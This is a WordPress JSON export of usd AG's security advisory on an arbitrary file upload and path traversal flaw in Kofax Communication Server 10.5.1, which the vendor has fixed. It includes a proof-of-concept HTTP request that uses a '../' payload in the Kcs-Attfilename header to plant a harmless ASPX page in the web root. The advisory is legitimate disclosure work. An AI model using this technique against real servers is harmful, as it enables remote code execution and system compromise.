{"id":24958,"date":"2026-03-06T15:14:23","date_gmt":"2026-03-06T14:14:23","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2025-0067\/"},"modified":"2026-03-10T10:00:15","modified_gmt":"2026-03-10T09:00:15","slug":"usd-2025-0067","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2025-0067\/","title":{"rendered":"usd-2025-0067"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.5\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2025-67 | Kofax Communication Server 10.5.1 - Arbitrary File Upload<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: Kofax Communication Server<br \/><strong>Affected Version<\/strong>: 10.5.1<br \/><strong>Vulnerability Type<\/strong>: Unrestricted Upload of File with Dangerous Type (CWE-434)<br \/><strong>Security Risk<\/strong>: Critical<br \/><strong>Vendor<\/strong>: Tungsten Automation<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.tungstenautomation.de\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.tungstenautomation.de\/<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE Number<\/strong>: Requested<br \/><strong>CVE Link<\/strong>: Not requested yet<br \/><strong>Advisory ID<\/strong>: usd-2025-67<\/p>\n<h3>Description<\/h3>\n<p><em>Kofax Communication Server (KCS)<\/em>, formerly known as <em>TOPCALL<\/em> is used as a message broker, mainly for TELEX messages (aerospace-specific messages that, for example, inform about airplane movements). Other message types, such as AFTN, ASCARS, SMS and FAX are supported, too.<\/p>\n<p>The web application <em>KCS Portal<\/em> allows configuration of allowed recipients and senders, viewing transmitted messages, monitoring functionality, user management, and composing messages.<\/p>\n<p>The functionality for uploading message attachments in the <em>KCS Portal<\/em> accepts uploads of arbitrary file formats and is vulnerable to path traversal attacks.<\/p>\n<p>The request to upload the file sets the file name via the <strong>Kcs-Attfilename<\/strong> header. The value of this header is not filtered and allows path traversal payloads (<strong>..\/<\/strong>). In addition, the application does not restrict or filter uploaded files to deny executable files or potentially dangerous attachments.<\/p>\n<p>This allows an attacker to upload executable files to arbitrary locations on the application server, including the web root.<br \/>Accessing the uploaded files using a browser leads to execution of the uploaded code, and potential full system compromise.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The following harmless proof of concept executes two commands to read the current server time and machine name and prints them to the website:<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">&lt;%@ Page Language=\"C#\" %&gt;&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;       &lt;title&gt;Pentest Proof&lt;\/title&gt;&lt;\/head&gt;&lt;body&gt;       &lt;h1&gt;Pentest usd 2025&lt;\/h1&gt;       &lt;p&gt;Server time: &lt;%= DateTime.Now %&gt;&lt;\/p&gt;       &lt;p&gt;Machine name: &lt;%= Environment.MachineName %&gt;&lt;\/p&gt;&lt;\/body&gt;&lt;\/html&gt;<\/pre>\n<p>Using the following path traversal payload in the <strong>Kcs-Attfilename<\/strong> header stores the <strong>.aspx<\/strong> file to the web root at *<em>C:\\TCOSS\\KCSPORTAL\\Web*<\/em>:<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">POST \/kcsportal\/api\/v1\/msgservers\/[redacted]\/messages\/5c0b7cf9-7c02-448c-b21e-f424a2bd0c8e\/attupload HTTP\/1.1Host: [redacted]Cookie: [redacted]Kcs-Connectionhandle: 1729603561467150336Kcs-Attfilename: \/..\/..\/..\/..\/..\/..\/..\/..\/TCOSS\/KCSPORTAL\/Web\/pentest-usd-2025-[...].aspx[...]data:application\/octet-stream;base64,PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiAlPgo8IURPQ1RZUEUgaHRtbD4KPGh0bWw+CjxoZWFkPgogICAgPHRpdGxlPlBlbnRlc3QgUHJvb2Y8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPlBlbnRlc3QgdXNkIDIwMjU8L2gxPgogICAgPHA+U2VydmVyIHRpbWU6IDwlPSBEYXRlVGltZS5Ob3cgJT48L3A+CiAgICA8cD5NYWNoaW5lIG5hbWU6IDwlPSBFbnZpcm9ubWVudC5NYWNoaW5lTmFtZSAlPjwvcD4KPC9ib2R5Pgo8L2h0bWw+Cg==<\/pre>\n<p>Accessing the file in the browser leads to the code being executed. This can be seen in the screenshot below, since the current server time and machine name are displayed:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" width=\"715\" height=\"231\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2026\/02\/code-execution.png\" alt=\"\" class=\"wp-image-24897 alignnone size-medium\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2026\/02\/code-execution.png 715w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2026\/02\/code-execution-480x155.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 715px, 100vw\" \/><\/p>\n<h3>Fix<\/h3>\n<p>Uploaded files should be filtered regarding their file extension and checked for their <em>Magic Bytes<\/em> before they are accepted by the application server.<br \/>This filtering should be implemented based on an allowlist that only contains required and trusted file types.<br \/>Furthermore, it is recommended to filter all input that is used in the context of file operations for path specifications.<br \/>Ideally, the file system of the application should be isolated, e.g. using <em>sandboxing<\/em>.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/Path_Traversal\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/attacks\/Path_Traversal<\/a><\/li>\n<li><a href=\"https:\/\/owasp.org\/www-community\/vulnerabilities\/Unrestricted_File_Upload\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/vulnerabilities\/Unrestricted_File_Upload<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2025-12-03<\/strong>: Vulnerabilities reported to Tungsten Automation.<\/li>\n<li><strong>2026-01-29<\/strong>: For TCS version 2025.3, the fix FR23775 is released<\/li>\n<li><strong>2026-03-06<\/strong>: Public disclosure of this vulnerability.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Dominique Dittert, Roman Hergenreder &amp; Samuel Stein of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2025-67 | Kofax Communication Server 10.5.1 - Arbitrary File Upload Product: Kofax Communication ServerAffected Version: 10.5.1Vulnerability Type: Unrestricted Upload of File with Dangerous Type (CWE-434)Security Risk: CriticalVendor: Tungsten AutomationVendor URL: https:\/\/www.tungstenautomation.de\/Vendor acknowledged vulnerability: YesVendor Status: FixedCVE Number: RequestedCVE Link: Not requested yetAdvisory ID: usd-2025-67 Description Kofax Communication Server (KCS), formerly known as TOPCALL is used [&hellip;]<\/p>\n","protected":false},"author":114,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-24958","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24958","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/114"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=24958"}],"version-history":[{"count":3,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24958\/revisions"}],"predecessor-version":[{"id":24961,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24958\/revisions\/24961"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=24958"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}